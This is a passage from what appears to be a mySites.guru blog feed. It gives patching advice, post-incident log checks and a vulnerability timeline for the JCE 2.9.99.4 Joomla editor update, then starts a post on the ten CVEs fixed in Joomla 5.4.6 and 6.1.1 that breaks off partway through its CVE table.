&lt;p&gt;You can also filter by JCE Free vs JCE Pro if you maintain a mixed estate. Both editions ship the same security fix in 2.9.99.4 from the same JCE update server, but Pro needs a subscription key so it helps to know which sites belong in which group.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;mySites.guru subscribers: jump straight to the JCE inventory&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/f02a3f0cd799f8a68b2e207ecf0da3a4&quot;&gt;Open JCE Extension Search&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Lists every JCE install across your connected Joomla sites, grouped by version. Anything on 2.9.99.3 or earlier needs the 2.9.99.4 patch. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Push 2.9.99.4 across every affected site in one batch&lt;/h2&gt;
&lt;p&gt;Once you know which sites are on a vulnerable JCE, you do not patch them one by one. The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass extension updater&lt;/a&gt; lets you pick every site running JCE on an outdated version and trigger the update across all of them in one batch.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/jce-2-9-99-4-mass-update-screen.C9RBFKxf_28R3Vw.webp&quot; srcset=&quot;https://mysites.guru/_astro/jce-2-9-99-4-mass-update-screen.C9RBFKxf_6EWOn.webp 640w, https://mysites.guru/_astro/jce-2-9-99-4-mass-update-screen.C9RBFKxf_Z1ABB5S.webp 750w, https://mysites.guru/_astro/jce-2-9-99-4-mass-update-screen.C9RBFKxf_IH3Jk.webp 828w, https://mysites.guru/_astro/jce-2-9-99-4-mass-update-screen.C9RBFKxf_1NVGXo.webp 1080w, https://mysites.guru/_astro/jce-2-9-99-4-mass-update-screen.C9RBFKxf_Z1C7jkL.webp 1280w, https://mysites.guru/_astro/jce-2-9-99-4-mass-update-screen.C9RBFKxf_1aE1Gj.webp 1668w, https://mysites.guru/_astro/jce-2-9-99-4-mass-update-screen.C9RBFKxf_14OUq4.webp 2048w, https://mysites.guru/_astro/jce-2-9-99-4-mass-update-screen.C9RBFKxf_28R3Vw.webp 2116w&quot; alt=&quot;mySites.guru mass update screen showing JCE Pro grouped across sites with an &amp;quot;Apply to all&amp;quot; button alongside per-site Apply Update and Manage Site controls&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2116px) 2116px, 100vw&quot; width=&quot;2116&quot; height=&quot;678&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The screen groups every JCE install across your account by the new version it can update to, with a single “Apply to all” button per group plus per-site Apply Update controls when you want to be selective. Sites stuck on much older versions (v2.6, v2.7, v2.8) get patched in the same sweep as ones already on the 2.9.99.x line.&lt;/p&gt;
&lt;p&gt;Behind the scenes the platform calls each site’s connector to invoke the Joomla update routine, pulls the 2.9.99.4 package from JCE’s update server, installs it, and reports back. You see a progress bar, a final pass/fail per site, and a log entry against the site for the change. If a site is offline, behind a firewall, or has an outdated connector, it surfaces as a clear failure rather than a silent miss.&lt;/p&gt;
&lt;p&gt;For agencies running &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled automation&lt;/a&gt;, JCE updates can be enrolled in the same overnight extension auto-update flow as everything else. The &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic Updates for Any Joomla Extension&lt;/a&gt; feature already supports JCE Free and JCE Pro through Joomla’s native extension update API.&lt;/p&gt;
&lt;p&gt;If you would rather hold off auto-updates on production and run the batch update manually after smoke-testing on a staging instance, the same screen lets you tick exactly which sites you want to patch right now and leave the rest.&lt;/p&gt;
&lt;h3&gt;Thousands of opted-in sites have already been patched automatically&lt;/h3&gt;
&lt;p&gt;The mySites.guru automatic extension updater has already pushed 2.9.99.4 to thousands of opted-in Joomla sites overnight without anyone having to log in. If your sites are enrolled, the patch has been applied, the version has been verified, and an audit entry is sitting in the activity log. If they are not, this is the advisory to change that. Turn on automatic extension updates in your account and the next time a popular extension like JCE ships a security release, you wake up to “done” rather than “to do”. &lt;a href=&quot;https://manage.mysites.guru/&quot;&gt;Enable auto-updates from your mySites.guru dashboard&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; if you do not have an account yet.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/jce-2-9-99-4-auto-updates-activity.D0P43x9A_qrNFF.webp&quot; srcset=&quot;https://mysites.guru/_astro/jce-2-9-99-4-auto-updates-activity.D0P43x9A_zPeYh.webp 640w, https://mysites.guru/_astro/jce-2-9-99-4-auto-updates-activity.D0P43x9A_Z1OYMnx.webp 750w, https://mysites.guru/_astro/jce-2-9-99-4-auto-updates-activity.D0P43x9A_11XYL3.webp 828w, https://mysites.guru/_astro/jce-2-9-99-4-auto-updates-activity.D0P43x9A_lGXuL.webp 1080w, https://mysites.guru/_astro/jce-2-9-99-4-auto-updates-activity.D0P43x9A_ZkehqW.webp 1280w, https://mysites.guru/_astro/jce-2-9-99-4-auto-updates-activity.D0P43x9A_XANif.webp 1668w, https://mysites.guru/_astro/jce-2-9-99-4-auto-updates-activity.D0P43x9A_qrNFF.webp 1684w&quot; alt=&quot;mySites.guru automatic extension update activity in the hour after JCE 2.9.99.4 was released, with steady waves of update jobs running from 15:10 onwards&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1684px) 1684px, 100vw&quot; width=&quot;1684&quot; height=&quot;278&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;How quickly should you patch JCE 2.9.99.4?&lt;/h2&gt;
&lt;p&gt;It depends on your sites.&lt;/p&gt;
&lt;h3&gt;Patch within 24 hours&lt;/h3&gt;
&lt;p&gt;Do this if any of the following are true:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The site allows public user registration&lt;/li&gt;
&lt;li&gt;The site has any customer-facing account flow (e-commerce, members, downloads)&lt;/li&gt;
&lt;li&gt;You run a community component (Kunena, EasyDiscuss, JomSocial)&lt;/li&gt;
&lt;li&gt;You have any history of credential stuffing or compromised low-privilege accounts on the site&lt;/li&gt;
&lt;li&gt;The site stores anything sensitive in folders adjacent to JCE’s configured roots&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Patch within the week&lt;/h3&gt;
&lt;p&gt;This applies to low-traffic brochure sites with no public registration, no customer accounts, and a single Super User. Even here, 2.9.99.4 is a free, no-config drop-in upgrade. Wait until the next scheduled maintenance window and that’s fine.&lt;/p&gt;
&lt;p&gt;Authenticated-only bugs tend to get deprioritised in agency triage queues until someone publishes a working exploit chain, and then everyone scrambles. JCE 2.9.99.4 is a clean security patch with no functional changes, so the risk of applying it is essentially zero. The risk of &lt;em&gt;not&lt;/em&gt; applying it is whatever the next external researcher discovers, multiplied across every site that still has the bug.&lt;/p&gt;
&lt;h2&gt;Edge cases and gotchas&lt;/h2&gt;
&lt;p&gt;A handful of things to watch for when rolling out 2.9.99.4 across an estate.&lt;/p&gt;
&lt;h3&gt;Lapsed JCE Pro subscriptions&lt;/h3&gt;
&lt;p&gt;Both JCE Free and JCE Pro pull updates from the same JCE update server run by the developer, not from the Joomla Extensions Directory. The catch for Pro is the subscription key. If a Pro install’s subscription has lapsed, the 2.9.99.4 update will not appear in the site’s Joomla extension update list and the site will sit on the old version.&lt;/p&gt;
&lt;p&gt;The fix is to renew the subscription (the developer will prompt for it) or to log a temporary key into the site, pull the security release, then sort the renewal properly afterwards.&lt;/p&gt;
&lt;p&gt;A practical workflow is to scan your mySites.guru extension report for any JCE Pro install still on a pre-2.9.99.4 version 48 hours after release. Those are almost certainly the sites with lapsed subscriptions.&lt;/p&gt;
&lt;h3&gt;Custom Editor Profiles with broad filesystem access&lt;/h3&gt;
&lt;p&gt;If you originally set up an Editor Profile on a high-trust user group with broad filesystem access (the whole &lt;code&gt;images/&lt;/code&gt; tree, or worse, &lt;code&gt;/&lt;/code&gt;), audit it after the update. Even though 2.9.99.4 plugs the assignment bypass, the underlying principle of least privilege still applies. A profile with broad filesystem access remains a high-value target for whatever the next JCE issue turns out to be. Lock profiles down to the narrowest path that still lets the user group do their job.&lt;/p&gt;
&lt;p&gt;You can review every profile under &lt;strong&gt;Components → JCE Editor → Editor Profiles&lt;/strong&gt; on each site.&lt;/p&gt;
&lt;h3&gt;Sites still on JCE 2.x branches older than 2.9&lt;/h3&gt;
&lt;p&gt;If you still have a JCE 2.7.x or 2.8.x install on &lt;a href=&quot;https://joomla3security.com/vendors/jce/&quot;&gt;a long-tail Joomla 3 site&lt;/a&gt;, that install is far more exposed than the current advisory implies. The 2.9.99.4 fix is for the 2.9.x branch only. Those older 2.7.x and 2.8.x lines have not received this patch, and almost certainly have a backlog of unpatched issues going back years, including the unauthenticated profile upload later patched in 2.9.99.5 (&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;CVE-2026-48907&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The right answer is to update the underlying Joomla site to 4 or 5 and bring JCE up to the current 2.9.99.11 at the same time. mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;migration tooling&lt;/a&gt; can help triage which sites need the most work. For sites that cannot reach the current release (it needs PHP 7.4 and Joomla 3.10 or later), the JCE developer has published a &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/editor/security-patch&quot;&gt;free patch package&lt;/a&gt; that closes the unauthenticated upload vulnerability in JCE 2.7.x, 2.8.x and 2.9.x. It is a stopgap that fixes the vulnerability only and does not clean a compromised site, so back up and test on a copy first and still plan to migrate.&lt;/p&gt;
&lt;p&gt;JCE 2.6.x is a special case. The developer confirms it is not affected by that unauthenticated upload in a default configuration, because the import path is blocked and no guest-accessible profile exists by default. It is still unsupported and may have other unpatched issues, so plan to migrate it regardless.&lt;/p&gt;
&lt;p&gt;If you cannot upgrade Joomla on a particular site (some clients will not, even when the risk is explained), at minimum disable JCE on that site and fall back to TinyMCE or CodeMirror until the site can be modernised.&lt;/p&gt;
&lt;h3&gt;Checking for signs of prior exploitation&lt;/h3&gt;
&lt;p&gt;Because both bugs require authentication, the audit trail for any past exploitation lives inside Joomla’s own user activity logs and the web server access logs, not in some external IDS feed. There is no fingerprint to scan for the way you would for an unauthenticated remote code execution.&lt;/p&gt;
&lt;p&gt;A reasonable retrospective audit on a high-risk site looks like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Pull the last 90 days of access logs and grep for requests to JCE’s filesystem endpoints. The relevant URLs contain &lt;code&gt;task=plugin.display&lt;/code&gt; or &lt;code&gt;plugin=imgmanager&lt;/code&gt;/&lt;code&gt;filemanager&lt;/code&gt;/&lt;code&gt;browser&lt;/code&gt; in the query string, routed through &lt;code&gt;index.php&lt;/code&gt; on Joomla 4/5/6 or the JCE controller on Joomla 3.&lt;/li&gt;
&lt;li&gt;Filter to requests made by authenticated users (anything with a Joomla session cookie). Anonymous requests cannot have triggered either bug.&lt;/li&gt;
&lt;li&gt;Cross-reference any unusual paths in the directory parameter against your configured profile roots. Anything pointing well outside the configured root is a candidate for follow-up.&lt;/li&gt;
&lt;li&gt;Look for newly created subscriber-level or registered-user accounts that you do not recognise, especially around the time of any suspicious requests. The attacker model here assumes a valid account, and the cheapest way to get one is to register a new one if your site permits.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you find anything that looks like intended probing, treat the site as you would after any other authenticated breach: rotate session keys, invalidate active sessions via Joomla’s user management, audit your &lt;code&gt;images/&lt;/code&gt;, &lt;code&gt;media/&lt;/code&gt;, and any custom-defined upload roots for files you did not put there, and run mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; against the site.&lt;/p&gt;
&lt;p&gt;For most sites the audit will come up empty, and that’s fine. The point is to be intended about closing the chapter rather than assuming nothing happened because nothing was reported.&lt;/p&gt;
&lt;h3&gt;JCE and the Joomla Backwards Compatibility plugin&lt;/h3&gt;
&lt;p&gt;The 2.9.99 branch is fully native to Joomla 5 and 6 and does not require the Backwards Compatibility plugin. If JCE is the only reason the BC plugin is enabled on a particular site, you can disable BC once 2.9.99.4 is in place, &lt;strong&gt;provided your other extensions are also BC-free&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;For an estate audit of which sites still need BC and which can shed it, see our &lt;a href=&quot;https://mysites.guru/blog/joomla-compat-plugin-is-a-crutch/&quot;&gt;Joomla compat plugin is a crutch&lt;/a&gt; write-up.&lt;/p&gt;
&lt;h2&gt;Does this affect WordPress?&lt;/h2&gt;
&lt;p&gt;No. JCE is a Joomla-only editor extension. There is no WordPress build of JCE Pro or JCE Free, no shared codebase, and no equivalent advisory for WordPress.&lt;/p&gt;
&lt;p&gt;WordPress sites use TinyMCE through the WordPress core editor instead, which has its own separate vulnerability history. If you are looking after a mixed Joomla and WordPress estate, the WordPress half of your portfolio is unaffected by this particular advisory. The Joomla half needs the update.&lt;/p&gt;
&lt;p&gt;The pattern in this advisory (privilege check bypass on a request that already requires a login) is a recurring shape across both platforms. We dug into the same anti-pattern in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt;, where authenticated-but-not-authorised endpoints crop up everywhere from Smart Slider 3 to Joomla core’s own &lt;code&gt;com_ajax&lt;/code&gt; router.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-05-28&lt;/strong&gt; JCE Pro and Free 2.9.99.4 ship within 24 hours of an external report Two related authenticated flaws in the Editor Profile and filesystem search code: reaching a profile you are not assigned to, and a directory parameter that could list folders outside the configured root. Both need a logged-in session, which is what keeps this one at patch-this-week.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-03&lt;/strong&gt; 2.9.99.5 fixes a separate and far more serious flaw An unauthenticated editor profile upload that the developer says could be used to upload arbitrary files to the server, tracked as CVE-2026-48907. Not a reopening of the flaws above, a different bug with no login requirement at all.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-08&lt;/strong&gt; 2.9.99.6 follows a four-day audit of the whole editor Narrowed entry points and hardened input validation, framed as defence in depth rather than a fix for one named flaw.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-09&lt;/strong&gt; Working exploit code for CVE-2026-48907 is published on GitHub Any site still below 2.9.99.5 is now racing a published exploit.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-16&lt;/strong&gt; CISA adds CVE-2026-48907 to its Known Exploited Vulnerabilities catalog Which is the US government confirming real-world attacks, not a theoretical risk.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-29&lt;/strong&gt; 2.9.99.10 fixes a file rename flaw CVE-2026-65891, an authenticated privileged-user file rename that could hide a file, is minor next to CVE-2026-48907. The version to be on is still the newest one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-15&lt;/strong&gt; 2.9.99.11 closes the 2.9 series The last release to add features to 2.9. JCE 3.0 is due within days, and 2.9 moves to maintenance, still receiving security fixes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-4-released&quot;&gt;JCE Pro 2.9.99.4 release announcement&lt;/a&gt; - the developer&apos;s original advisory and changelog&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites&quot;&gt;JCE security update and a free patch for older sites&lt;/a&gt; - the developer confirms active exploitation of the later unauthenticated flaw and offers a free patch for sites that cannot update&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;JCE Pro 2.9.99.6 Security Update&lt;/a&gt; - the hardening release, with update notes through to the current 2.9.99.11&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/downloads&quot;&gt;JCE downloads area&lt;/a&gt; - direct package downloads for JCE Pro subscribers&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/editing/editors/jce/&quot;&gt;JCE on the Joomla Extensions Directory&lt;/a&gt; - the JCE Free listing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;Top 50 Joomla Extensions&lt;/a&gt; - live ranking from the mySites.guru database, where JCE consistently ranks in the top two&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;How to update Joomla, Joomla extensions, WordPress and WordPress plugins from mySites.guru&lt;/a&gt; - the mass updater workflow used for rollouts like this&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic updates for any Joomla extension&lt;/a&gt; - enrol JCE in scheduled overnight updates so the next advisory patches itself&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt; - the recurring authenticated-but-not-authorised pattern across Joomla and WordPress&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For broader agency guidance on managing Joomla security and updates across a portfolio, see our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla agency handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>jce</category><category>extensions</category><category>vulnerability</category><enclosure url="https://mysites.guru/img/og/blog/jce-pro-2-9-99-4-security-update.png" length="0" type="image/png"/></item><item><title>Joomla 5.4.6 and 6.1.1 Patch TEN Security Issues</title><link>https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/</guid><description>Joomla 5.4.6 and 6.1.1 close ten security issues including an MFA bypass and a com_users privilege escalation. The patch order for 30+ sites.</description><pubDate>Thu, 28 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla shipped 5.4.6 and 6.1.1 on 26 May 2026, closing ten CVEs in a single release. Two are MFA Authentication Bypass issues, one is a High-severity privilege escalation through the com_users batch task, and a pair of XSS bugs in the joomla/filter Framework package have been sitting there since Joomla 3.0.0.&lt;/p&gt;
&lt;p&gt;One Joomla site: click Update and move on. Thirty sites: you have a patch night ahead of you, and the order you patch in matters.&lt;/p&gt;
&lt;h2&gt;Patching Joomla 5.4.6 and 6.1.1 Across a Client Portfolio&lt;/h2&gt;
&lt;p&gt;The first thing to do on a release like this is take inventory. Which of your sites are on 5.4.5 right now? Which are still on 4.4.x and need to clear 5.4 before they can reach 6.1.1? Which are on 6.1.0 and ready for a single-step bump?&lt;/p&gt;
&lt;p&gt;mySites.guru’s “Joomla outdated” check answers all three. Every connected Joomla site gets a row showing current version, target version, and a colour code for how far behind it is. After this release, every 5.4.5 and 6.1.0 site is flagged red. You can &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage multiple Joomla sites&lt;/a&gt; from one dashboard and patch them in a single bulk operation rather than logging in to each admin.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru sites list showing mixed Joomla and WordPress versions with outdated and vulnerable badges&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3396px) 3396px, 100vw&quot; width=&quot;3396&quot; height=&quot;1360&quot; src=&quot;https://mysites.guru/_astro/mysites-guru-sites-list-outdated-versions.BeDJawCH_1MdGdB.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysites-guru-sites-list-outdated-versions.BeDJawCH_ZLrs3T.webp 640w, https://mysites.guru/_astro/mysites-guru-sites-list-outdated-versions.BeDJawCH_JCVuK.webp 750w, https://mysites.guru/_astro/mysites-guru-sites-list-outdated-versions.BeDJawCH_Zunxtw.webp 828w, https://mysites.guru/_astro/mysites-guru-sites-list-outdated-versions.BeDJawCH_uEO0M.webp 1080w, https://mysites.guru/_astro/mysites-guru-sites-list-outdated-versions.BeDJawCH_Z1AUC3J.webp 1280w, https://mysites.guru/_astro/mysites-guru-sites-list-outdated-versions.BeDJawCH_J8lF5.webp 1668w, https://mysites.guru/_astro/mysites-guru-sites-list-outdated-versions.BeDJawCH_ZYjvGD.webp 2048w, https://mysites.guru/_astro/mysites-guru-sites-list-outdated-versions.BeDJawCH_Z2kJ08d.webp 2560w, https://mysites.guru/_astro/mysites-guru-sites-list-outdated-versions.BeDJawCH_1MdGdB.webp 3396w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The Joomla 3.10.12 and 5.4.2 rows above are flagged red. WordPress 6.9.4 rows are flagged red too, since 7.0 shipped. One row has a “1 vulnerable” badge. You see all of it without logging in to a single admin.&lt;/p&gt;
&lt;p&gt;Two parts matter most when you have a lot of sites:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;Bulk Joomla core upgrade&lt;/a&gt;&lt;/strong&gt; runs the update on every selected site in parallel. Backups are taken first if you’ve enabled that in your site settings. The same tool handles WordPress, so mixed estates get patched in one pass instead of two patch nights.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Post-upgrade verification&lt;/strong&gt; confirms the new version actually took effect. Sites occasionally hang at “downloading” or fail at the database fix step, and a quick hash or status check catches those before a client does.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is the kind of release the mass-upgrade workflow was built for. Ten CVEs in one go, no cherry-picking, every site on 5.4.5 or 6.1.0 needs the patch tonight. The guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;how to upgrade hundreds of Joomla and WordPress sites from one dashboard&lt;/a&gt; walks through the click path, and &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;how to update Joomla, Joomla extensions, WordPress, and WordPress plugins from mySites.guru&lt;/a&gt; covers the wider day-to-day workflow once core patching is done.&lt;/p&gt;
&lt;p&gt;If you want to see what this looks like before signing up, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; runs the same outdated-version check on your sites without asking for a credit card.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Important&lt;/p&gt;
  &lt;p&gt;You cannot upgrade directly from Joomla 4.x to 6.1.1. The 6.1.1 release notes are explicit: update to 5.4 first, then move to 6.x. The 5.4.6 release itself needs 4.4 as the starting point. Plan two-step paths for any 4.x sites you still operate.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What the Hell Is a “CVE”?&lt;/h2&gt;
&lt;p&gt;CVE stands for Common Vulnerabilities and Exposures. It is a public catalogue of known security holes in software, maintained by &lt;a href=&quot;https://www.cve.org/&quot;&gt;MITRE&lt;/a&gt; and mirrored by the US National Vulnerability Database (&lt;a href=&quot;https://nvd.nist.gov/&quot;&gt;NVD&lt;/a&gt;). Every entry gets a unique ID in the form &lt;code&gt;CVE-YYYY-NNNNN&lt;/code&gt;, where the year is when the ID was assigned (not necessarily when the bug was found or fixed).&lt;/p&gt;
&lt;p&gt;A few things worth knowing if you have not bumped into them before:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A CVE ID is an identifier, not a severity. “CVE-2026-48898” tells you which bug, not how bad. Severity is a separate rating (Low, Moderate, High, Critical) usually scored against the &lt;a href=&quot;https://www.first.org/cvss/&quot;&gt;CVSS&lt;/a&gt; framework.&lt;/li&gt;
&lt;li&gt;The same CVE can mean different things on different versions of the software. A flaw might be exploitable on one Joomla minor version and not another, which is why the “Affected” column matters.&lt;/li&gt;
&lt;li&gt;A CVE is not the patch itself. It is the reference; the patch is whatever new version closes the bug (in this case, 5.4.6 and 6.1.1).&lt;/li&gt;
&lt;li&gt;NVD entries lag. When Joomla or another vendor publishes an advisory, the CVE ID is reserved but the NVD page often shows “RESERVED” or “AWAITING ANALYSIS” for several days while NVD analysts write up severity and impact. The vendor advisory is the authoritative source until NVD catches up.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When you manage Joomla sites, reading every CVE in detail isn’t the goal. What you need is which CVEs hit your version and how urgent each one is. The table below has both.&lt;/p&gt;
&lt;h2&gt;The Ten Security Issues in Joomla 5.4.6 and 6.1.1&lt;/h2&gt;
&lt;p&gt;Joomla’s Security Centre published all ten advisories on 26 May 2026. The full list, ordered by severity:&lt;/p&gt;


















































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Severity&lt;/th&gt;&lt;th&gt;Affected&lt;/th&gt;&lt;th&gt;Fix&lt;/th&gt;&lt;th&gt;What it is&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48898&quot;&gt;CVE-2026-48898&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;td&gt;4.0.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;&lt;td&gt;Privilege escalation through the com_users batch task. Improper access check lets a low-privilege backend user elevate beyond their assigned group.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48896&quot;&gt;CVE-2026-48896&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Moderate&lt;/td&gt;&lt;td&gt;4.0.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;&lt;td&gt;MFA Authentication Bypass. Insufficient state checks in the MFA flow.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48897&quot;&gt;CVE-2026-48897&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Moderate&lt;/td&gt;&lt;td&gt;4.0.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;&lt;td&gt;MFA Authentication Bypass. Incorrectly reset session states.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48899&quot;&gt;CVE-2026-48899&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Moderate&lt;/td&gt;&lt;td&gt;4.0.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;&lt;td&gt;Incorrect Access Control in sample data plugins. Unauthorised users can trigger sample data install actions.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48903&quot;&gt;CVE-2026-48903&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Moderate&lt;/td&gt;&lt;td&gt;3.0.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;&lt;td&gt;XSS in the joomla/filter Framework’s &lt;code&gt;checkAttribute&lt;/code&gt; method. Present since 3.0.0.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48904&quot;&gt;CVE-2026-48904&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Moderate&lt;/td&gt;&lt;td&gt;4.0.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;&lt;td&gt;Privilege escalation through com_users webservice endpoints. Improper access check on the group editing API.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48905&quot;&gt;CVE-2026-48905&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Moderate&lt;/td&gt;&lt;td&gt;3.0.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;&lt;td&gt;XSS in the joomla/filter Framework’s &lt;code&gt;cleanAttributes&lt;/code&gt; code. Present since 3.0.0.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;&lt;a 